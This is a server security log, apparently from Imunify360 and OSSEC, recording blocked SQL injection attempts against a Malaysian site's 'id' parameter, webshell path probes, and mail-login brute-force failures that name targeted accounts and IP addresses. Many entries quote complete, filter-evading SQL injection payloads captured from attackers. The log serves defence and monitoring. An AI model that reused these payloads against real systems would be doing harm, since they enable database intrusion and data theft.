IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/1488=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(1488=1488)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) OR '6l46uAL8'='GV45kakS||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.182
country_id: 1668284
description:
2026-02-02 05:25:15 dovecot_login authenticator failed for H=111-70-49-182.emome-ip.hinet.net [111.70.49.182]:53347: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(2070=2070,1))),'~'),2070) AND (\"lSsedOTV\"=\"lSsedOTV\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\"and/**/row(2341,7993)>(select/**/count(*),concat('~',(select/**/(elt(2341=2341,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/9100/**/union/**/select/**/3145/**/union/**/select/**/6610/**/union/**/select/**/5864)a/**/group/**/by/**/x) and \"vbamrkma\"=\"vbamrkma\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:26:31 dovecot_login authenticator failed for H=(bT0jwd37E) [158.94.208.175]:61324: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/9792=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(9792=9792)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH('')) AND (\"hgjD4gEY\"=\"hgjD4gEY\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/images/sliders/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:26:53 dovecot_login authenticator failed for H=(JVfooZTbjM) [165.154.217.204]:65283: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:26:02 dovecot_login authenticator failed for H=(pqIMFA) [165.154.217.204]:58706: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"AND/**/ROW(2341,7993)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2341=2341,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9100/**/UNION/**/SELECT/**/3145/**/UNION/**/SELECT/**/6610/**/UNION/**/SELECT/**/5864)a/**/GROUP/**/BY/**/x) AND \"VBamrKma\"=\"VBamrKma\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:26:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:26:19 dovecot_login authenticator failed for H=(oZnxje) [178.16.52.139]:62474: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:26:26 dovecot_login authenticator failed for H=(D6lzWw4F) [178.16.54.138]:54834: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.232.255.144
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/gtid_subset(concat('~',(select/**/(elt(2070=2070,1))),'~'),2070) and (\"lssedotv\"=\"lssedotv\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:26:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53840: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/4053=(select/**/'~'+(select/**/(case/**/when/**/(4053=4053)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path('')) and ((\"93wbat3b\"=\"93wbat3b\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.75.143.8
country_id: 1668284
description:
2026-02-02 05:27:30 dovecot_login authenticator failed for H=211-75-143-8.hinet-ip.hinet.net ([127.0.0.1]) [211.75.143.8]:65086: 535 Incorrect authentication data (set_id=sixela2217)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-02 05:27:52 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:45260: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/1735=dbms_utility.sqlid_to_sqlhash(chr(126)||%27~%27||(select/**/(case/**/when/**/(1735=1735)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and (\"vzak5hfv\"=\"vzak5hfv\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 05:27:34 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:58858: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.160.59
country_id: 6252001
description:
2026-02-02 05:27:39 dovecot_login authenticator failed for H=([127.0.0.1]) [70.174.160.59]:50380: 535 Incorrect authentication data (set_id=sixela2217)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1%'/*!50000AND*/ROW(3134,4117)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3134=3134,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/2729/*!50000UNION*//*!50000SELECT*/5820/*!50000UNION*//*!50000SELECT*/10650/*!50000UNION*//*!50000SELECT*/1184)a/*!50000GROUP*//*!50000BY*/x) AND 'UsBMML4p%'='UsBMML4p||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1%'/*!50000AND*/ROW(3134,4117)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3134=3134,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/2729/*!50000UNION*//*!50000SELECT*/5820/*!50000UNION*//*!50000SELECT*/10650/*!50000UNION*//*!50000SELECT*/1184)a/*!50000GROUP*//*!50000BY*/x) AND 'UsBMML4p%'='UsBMML4p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/2711=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(2711=2711)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND (\"MK7zdN4W\"=\"MK7zdN4W\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:27:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:27:16 dovecot_login authenticator failed for H=(fqpoZoL) [178.16.52.139]:52988: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.193.226.167
country_id: 2017370
description:
2026-02-02 05:27:17 dovecot_login authenticator failed for H=([127.0.0.1]) [176.193.226.167]:52744: 535 Incorrect authentication data (set_id=sixela2217@ajplantations.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/row(1777,7040)>(select/**/count(*),concat('~',(select/**/(elt(1777=1777,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10965/**/union/**/select/**/3229/**/union/**/select/**/6172/**/union/**/select/**/2669)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/row(1495,9627)>(select/**/count(*),concat('~',(select/**/(elt(1495=1495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2602/**/union/**/select/**/10927/**/union/**/select/**/4892/**/union/**/select/**/5464)a/**/group/**/by/**/x) and '7kactkuz' like '7kactkuz||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:27:12 dovecot_login authenticator failed for H=(9VigX9S5) [165.154.217.204]:50940: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:27:28 dovecot_login authenticator failed for H=(b81Duaimo) [178.16.54.138]:53731: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:27:34 dovecot_login authenticator failed for H=(uHZKZ3tM) [158.94.208.175]:52175: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:27:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58510: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.176.139.4
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/ROW(1777,7040)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1777=1777,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/10965/**/UNION/**/SELECT/**/3229/**/UNION/**/SELECT/**/6172/**/UNION/**/SELECT/**/2669)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:27:10 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59122: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/row(1495,9627)>(select/**/count(*),concat('~',(select/**/(elt(1495=1495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2602/**/union/**/select/**/10927/**/union/**/select/**/4892/**/union/**/select/**/5464)a/**/group/**/by/**/x) and '7kactkuz' like '7kactkuz||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-02 05:28:09 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:52140: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-02-02 05:28:10 dovecot_login authenticator failed for H=([91.73.195.150]) [91.73.195.150]:42962: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')/*!50000AND*/ROW(7861,7041)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(7861=7861,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4346/*!50000UNION*//*!50000SELECT*/4541/*!50000UNION*//*!50000SELECT*/6151/*!50000UNION*//*!50000SELECT*/4627)a/*!50000GROUP*//*!50000BY*/x) AND ('DE5ZEGZM' LIKE 'DE5ZEGZM||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1%'and/**/row(10717,5568)>(select/**/count(*),concat('~',(select/**/(elt(10717=10717,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8403/**/union/**/select/**/1639/**/union/**/select/**/2829/**/union/**/select/**/10182)a/**/group/**/by/**/x) and 'zak9oa4b%'='zak9oa4b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-02-02 05:28:12 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:33642: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:28:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57824: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:28:54 dovecot_login authenticator failed for H=(bGv58zvA) [165.154.217.204]:63989: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')/*!50000AND*/ROW(7861,7041)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7861=7861,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4346/*!50000UNION*//*!50000SELECT*/4541/*!50000UNION*//*!50000SELECT*/6151/*!50000UNION*//*!50000SELECT*/4627)a/*!50000GROUP*//*!50000BY*/x) AND ('DE5ZEGZM' LIKE 'DE5ZEGZM||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1%'and/**/row(10717,5568)>(select/**/count(*),concat('~',(select/**/(elt(10717=10717,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/8403/**/union/**/select/**/1639/**/union/**/select/**/2829/**/union/**/select/**/10182)a/**/group/**/by/**/x) and 'zak9oa4b%'='zak9oa4b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:28:10 dovecot_login authenticator failed for H=(ZZIZ3X) [158.94.208.175]:57844: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:28:31 dovecot_login authenticator failed for H=(BFBVhX) [178.16.54.138]:52436: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.74.22
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=31601516002597 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:28:55 dovecot_login authenticator failed for H=(2FyJMrbwLp) [178.16.52.139]:61089: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:28:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:28:09 dovecot_login authenticator failed for H=(Qg7b8ZJOx1) [165.154.217.204]:58108: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 05:28:11 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:46944: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/1826=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1826=1826)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML) AND '2LEd2l63' LIKE '2LEd2l63||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 23.132.164.130
country_id: 2635167
description:
2026-02-02 05:29:09 H=([23.132.164.130]) [23.132.164.130]:55571 F=<yly@mail.hzau.edu.cn> rejected RCPT <feedback@inter-link.edu.my>: SPF: 23.132.164.130 is not allowed to send mail from mail.hzau.edu.cn


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:29:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50578: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'AnD/**/3375=CAst((%27~%27||(SEleCT/**/(CasE/**/WHen/**/(3375=3375)/**/THen/**/1/**/elSe/**/0/**/eNd))||%27~%27)/**/AS/**/xML) AND 'dEJREAfh' LIKE 'dEJREAfh||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-02 05:29:16 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:48242: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 05:29:20 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:1412: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:29:24 dovecot_login authenticator failed for H=(0cDmKJh7) [178.16.52.139]:53178: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 149.62.205.72
country_id: 732800
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/1826=cast(('~'||(select/**/(case/**/when/**/(1826=1826)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml) and '2led2l63' like '2led2l63||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.224
country_id: 1880251
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/sites/default/files/css/css_v6c6YgSq1LEECaFvqUnhSh4xmBShB6oyn83WVFtAFMI.css?delta=0&language=en&theme=figotheme&include=eJwrriwuSc3VT0osTtVJy0zPL8lIzU3VT8_JT0rM0U0uLtZJzi9K1U8pKi1IzNErKMpPL0oFCmKozCoGABU0HCc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.208
country_id: 2542007
description:
2026-02-02 05:29:54 dovecot_login authenticator failed for H=([154.144.255.208]) [154.144.255.208]:38596: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/sites/default/files/css/css_lkNqg2VhLUCequbvAScIdEVYGb1iyRNvUuz0va07B0E.css?delta=2&language=en&theme=figotheme&include=eJwrriwuSc3VT0osTtVJy0zPL8lIzU3VT8_JT0rM0U0uLtZJzi9K1U8pKi1IzNErKMpPL0oFCmKozCoGABU0HCc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 151.254.20.0
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/10846=cast(('~'||(select/**/(case/**/when/**/(10846=10846)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml) and (('hwzt4ref' like 'hwzt4ref||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:29:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33662: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:29:10 dovecot_login authenticator failed for H=(0jSZxtm0) [165.154.217.204]:49410: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:29:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:29:21 dovecot_login authenticator failed for H=(iOaKtW) [158.94.208.175]:63201: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-02 05:29:40 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:51784: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-02 05:30:33 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:59801: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:30:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60592: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/gtid_subset(concat('~',(select/**/(elt(3087=3087,1))),'~'),3087)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:30:14 dovecot_login authenticator failed for H=(RFBH5mX) [178.16.52.139]:50709: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:30:24 dovecot_login authenticator failed for H=(4jmo9Z9T0) [178.16.54.138]:63448: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-02-02 05:30:48 dovecot_login authenticator failed for H=([5.32.99.14]) [5.32.99.14]:34061: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:30:33 dovecot_login authenticator failed for H=(dUpa3mo7X) [158.94.208.175]:59145: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-02-02 05:30:40 dovecot_plain authenticator failed for H=(undively) [154.146.238.122]:33304: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.170.103.117
country_id: 1562822
domain: www.aoto.com.my
description:
